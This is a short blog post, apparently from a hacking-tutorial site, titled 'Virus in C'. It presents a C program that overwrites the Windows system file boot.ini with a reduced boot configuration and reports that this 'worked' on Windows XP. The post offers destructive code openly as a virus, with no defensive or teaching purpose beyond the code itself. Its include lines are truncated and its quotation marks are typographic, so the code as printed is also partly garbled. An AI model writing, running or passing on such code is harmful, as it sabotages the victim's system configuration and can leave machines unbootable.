Virus in C



#include
#include
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen(“c:\\boot.ini”, “w”);
strcpy(line[0], “[boot loader]“);
strcpy(line[1], “timeout=30″);
strcpy(line[2], “default=multi(0)disk(0)rdisk(0)partition(1)”);
strcpy(line[3], “[operating systems]“);
strcpy(line[4], “multi(0)disk(0)rdisk(0)partition(1)”);
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}

This program replaces the system file “boot.ini” in system drive with a new one.
This worked with me in Windows XP.


Responses

0 Respones to "Virus in C"

Post a Comment

 

Recent Comments

logo

Award Winning Computer Users Blogs - BlogCatalog Blog Directory

About Me

About Me

Subscribe

Popular Posts

Return to top of page Copyright © 2011 | Platinum Theme Converted into Blogger Template by HackTutors